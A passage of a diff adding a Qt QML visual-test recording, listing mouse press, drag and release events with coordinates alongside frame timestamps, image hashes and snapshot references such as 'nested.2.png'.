+ buttons: 1
+ x: 146; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1120
+ hash: "ade955ed9d85fbbe72cf18bbc541c8bf"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 153; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ hash: "6ad4afa3e3fcb578946fccbf4896761c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 162; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 163; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1152
+ hash: "3ebe78e37c1c66d0b8fc86c8191e39de"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 165; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1168
+ hash: "6450917cc89a553cf509265eaf318efb"
+ }
+ Frame {
+ msec: 1184
+ hash: "6450917cc89a553cf509265eaf318efb"
+ }
+ Frame {
+ msec: 1200
+ hash: "6450917cc89a553cf509265eaf318efb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1216
+ hash: "6450917cc89a553cf509265eaf318efb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1232
+ hash: "adfe54d5d28f7caf9ace117fd3573444"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 159; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 156; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1248
+ hash: "f4963636cc4fbd8bfe6baf10540ed7e7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 149; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1264
+ hash: "1c2d2edb9214cc3857aa221330ee28ba"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 139; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1280
+ hash: "750226c90e6c6cd0b3bdd3c3dc8da18f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 131; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1296
+ hash: "b6b5d177ab531460dc125afa82489a1d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1312
+ hash: "62d411a7b6c404393e4bfafab9c638a3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1328
+ hash: "e355997b3decd4deb686fece59c33c7c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 86; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 76; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1344
+ hash: "2ab73c8aac6a0e321686e97c9bb28f28"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1360
+ hash: "55a887f9f45f71beb6b723191eb60a2f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1376
+ hash: "b2d49e34362994739d14fb8231ff82d6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1392
+ hash: "3964796876870035794b41501991b527"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1408
+ hash: "e96076794d3efc62a8fe2d2e543e97c7"
+ }
+ Frame {
+ msec: 1424
+ hash: "e96076794d3efc62a8fe2d2e543e97c7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1440
+ hash: "7e524b3c43a987503ef102bdb9f11701"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 42; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1456
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1472
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1488
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1504
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1520
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1536
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1552
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 42; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1568
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1584
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1600
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1616
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1632
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1648
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1664
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1680
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1696
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1712
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1728
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1744
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1760
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1776
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1792
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1808
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1824
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1840
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1856
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1872
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1888
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1904
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1920
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Frame {
+ msec: 1936
+ image: "nested.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 38; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 39; y: 57
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1984
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 39; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 39; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2000
+ hash: "2a7c13e97c21e298541bb5ab8169ff13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2016
+ hash: "9178754b825d60b2174ed9431ea80586"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2032
+ hash: "89eff8fa9f8710d7cbc50b8d4b751148"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 47; y: 84
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2048
+ hash: "cdae8b46ecfc2b0c90264c120156cc46"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 93
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2064
+ hash: "cf35919630eab647a28eb91d8a441704"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2080
+ hash: "283256d50da8c855c50d5f8813d37afd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 107
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 109
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2096
+ hash: "2560cd67d507bc24c1000187f645531c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2112
+ hash: "6f6f7c299c4516c5231f5bfcd39b6db3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 119
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2128
+ hash: "e7989524238996cf59f420f4edf8f982"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 124
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2144
+ hash: "34d8d456848807e854bcb25ffbde37d4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 127
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 54; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2160
+ hash: "433bd3983804b07484d38af2723f519e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 134
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2176
+ hash: "510e534a8a7b88041f7544e7e4992b8f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 137
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2192
+ hash: "25f43c457a5bf2b70a66ce91685ad4dc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2208
+ hash: "4119ab90627359420e25220618b76a69"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2224
+ hash: "8a3cc888e96cf3e26e369723b442baf1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 147
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2240
+ hash: "980552e8ff9d87ccb40127b06b0f846f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2256
+ hash: "9ee23fc7cbca4467f984073d2af7cdf6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2272
+ hash: "032d65792ac867c9b9acef05bd993c54"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2288
+ hash: "be2f8d5a64034e75e23527c486e33029"
+ }
+ Frame {
+ msec: 2304
+ hash: "be2f8d5a64034e75e23527c486e33029"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2320
+ hash: "3f65505e4d1f8534c9123b3dea15d43e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2336
+ hash: "e8b1799cf1926cb3b6cbf3adee80cffe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 147
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2352
+ hash: "31155b14cc0d3d47bbef4e199fdfcb46"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 140
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2368
+ hash: "b89745a9a60a7ebeb1de0a7f96ad2ac3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 57; y: 118
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2384
+ hash: "7e99fa1eba369d45f10778fe02356f09"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 59; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 103
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2400
+ hash: "cd123f6b332f38f43abbf01469a41301"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 98
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2416
+ hash: "353c0602dd2b670e19988117172855fc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 76; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 78; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2432
+ hash: "20df9d19fd2113fa8f8023d5b4328dc5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 82; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2448
+ hash: "10b34a758d5b3790dd36c9d95c47b157"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2464
+ hash: "98a483e1eaa9145fd277fd85a9b0cf03"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 57
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 88; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2480
+ hash: "e92edd52ff1ee78456fa1947a46e6570"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 89; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2496
+ hash: "877384496d967f5f0ab1c817a2b316d6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 93; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2512
+ hash: "15673570ffe9a391f9214601ac9dc86c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2528
+ hash: "4b7f0094b19a4495bf913d2994889497"
+ }
+ Frame {
+ msec: 2544
+ hash: "4b7f0094b19a4495bf913d2994889497"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2560
+ hash: "4b7f0094b19a4495bf913d2994889497"
+ }
+ Frame {
+ msec: 2576
+ hash: "4b7f0094b19a4495bf913d2994889497"
+ }
+ Frame {
+ msec: 2592
+ hash: "4b7f0094b19a4495bf913d2994889497"
+ }
+ Frame {
+ msec: 2608
+ hash: "4b7f0094b19a4495bf913d2994889497"
+ }
+ Frame {
+ msec: 2624
+ hash: "4b7f0094b19a4495bf913d2994889497"
+ }
+ Frame {
+ msec: 2640
+ hash: "4b7f0094b19a4495bf913d2994889497"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 95; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2656
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2672
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2688
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2704
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2720
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2736
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2752
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2768
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2784
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2800
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2816
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2832
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2848
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2864
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2880
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2896
+ image: "nested.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2928
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2944
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2960
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2976
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 2992
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3008
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3024
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3040
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3056
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3072
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3088
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3104
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3120
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3136
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3152
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3168
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3184
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3200
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3216
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3232
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 156; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3248
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Frame {
+ msec: 3264
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 156; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3280
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 160; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3296
+ hash: "2994e98b8ea9a6883a7324e7e848345c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 163; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3312
+ hash: "df6cf21e99177a436e356f818996070c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3328
+ hash: "86f5e3fee147f47edd4a6d042aff0301"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 178; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 181; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3344
+ hash: "589c1418a9179c868d904b1a5169a11b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 189; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3360
+ hash: "3141ad77d193e145b749759070e1e6ef"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 200; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 75
+ modifiers: 0
